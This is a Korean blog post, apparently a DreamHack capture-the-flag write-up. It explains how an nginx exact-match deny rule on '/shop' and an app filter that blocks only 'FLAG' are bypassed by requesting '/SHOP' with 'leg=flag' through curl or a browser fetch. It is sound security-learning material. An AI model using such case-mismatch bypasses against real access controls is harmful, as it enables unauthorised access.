2026. 3. 20. 17:31ㆍ보안/DreamHACK

코드를 분석해보자!

이번 문제는 실행환경과 소스코드를 함께 받아온 케이스다.
- docker-compose.yml : 컨테이너를 어떻게 띄울지 포트, 폴더, 서비스 이름 정의
- deploy/Dockerfile : 컨테이너 이미지를 어떻게 만들지 설치, 실행 명령 정의
- deploy/app.js : 메인 서버 코드
docker-compose.yml
version: "3.9"
services:
nginx:
image: nginx:1.22.0
ports:
- "8000:80"
volumes:
- ./deploy/nginx/nginx.conf:/etc/nginx/nginx.conf:ro
depends_on:
- app
app:
build:
context: ./deploy/app
8000 접속 시 먼저 nginx를 거친 후 app에 들어간다는 것을 알 수 있다.
nginx.conf
events {
worker_connections 1024;
}
http {
server {
listen 80;
listen [::]:80;
server_name _;
location = /shop {
deny all;
}
location = /shop/ {
deny all;
}
location / {
proxy_pass http://app:3000/;
}
}
}
/shop 요청과 /shop/ 요청을 차단한다.
하지만 완전히 동일한 문자열만 막으므로 대소문자나 슬래시 변형, 문자 추가로 통과할 수 있다.
app.js
app.post("/shop",(req, res)=>{
const leg = req.body.leg
if (leg == 'FLAG'){
return res.status(403).send("Access Denied")
}
leg는 사용자 입력값에서 꺼낸다는 것을 알 수 있다.
app은 정확히 "FLAG"를 403으로 접근을 차단한다.
const obj = search(words,leg)
--------------------------------------------------------------
function search(words, leg) {
return words.find(word => word.name === leg.toUpperCase())
}
사용자가 입력한 값을 대문자로 변환한 후, words 배열에서 name이 일치하는 데이터를 찾아 반환한다.
const words = require("./ag")
words 배열은 ag.js에서 가져온다!
ag.js
module.exports = [
{
"id": 1,
"name": "FLAG",
"description": "DH{fake_flag}"
}
...
name 값을 기준으로 대문자로 변환된 입력값과 비교하여 FLAG 데이터를 찾을 수 있다.
⭐ 취약점
if (leg == 'FLAG'){
return res.status(403).send("Access Denied")
사용자가 입력한 값이 정확히 "FLAG"인 경우에만 차단한다.
function search(words, leg) {
return words.find(word => word.name === leg.toUpperCase())
}
search 함수가 실행되어 어떤 대소문자의 조합의 flag도 다 FLAG로 바뀐다.
필터는 원본 기준이나 검색은 대문자로 변환되는 것이 문제다.
필터는 FLAG만 막지만 입력은 대문자로 바꿔서 사용하므로 사용 기준이 다르다.

f12를 눌러 콘솔 탭에 들어간다.
fetch('/shop', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'leg=flag'
})
.then(r => r.text())
.then(console.log)

브라우저에서 /shop으로 요청을 보내면 403 응답으로 접근을 차단한다.
응답에서 알 수 있듯이 이는 nginx에서 막은 것이다.
브라우저는 이미 정상 경로(/shop)으로 요청을 보내기 때문에
요청을 내가 직접 바꿔서 보낼 수 있어야 한다.
원하는 요청을 직접 만들 수 있는 curl 을 활용 할 수 있다!
curl -X POST "http://host3.dreamhack.games:19225/SHOP" -d "leg=flag"
/shop 대신 /SHOP 으로 입력 시
nginx는 다른 경로라고 생각하고 이를 통과시킨다.
Express는 경로 대소문자를 엄격히 구분하지 않아서 /SHOP 요청을 /shop 요청으로 받는다.
또한 정확히 "FLAG"만 막기에 "flag"는 통과하는 취약점이 발생한다.


문제 해결 성공! 😁

'보안 > DreamHACK' 카테고리의 다른 글
| 768 - Command Injection (0) | 2026.03.20 |
|---|---|
| 769 - SQL Injection (0) | 2026.03.20 |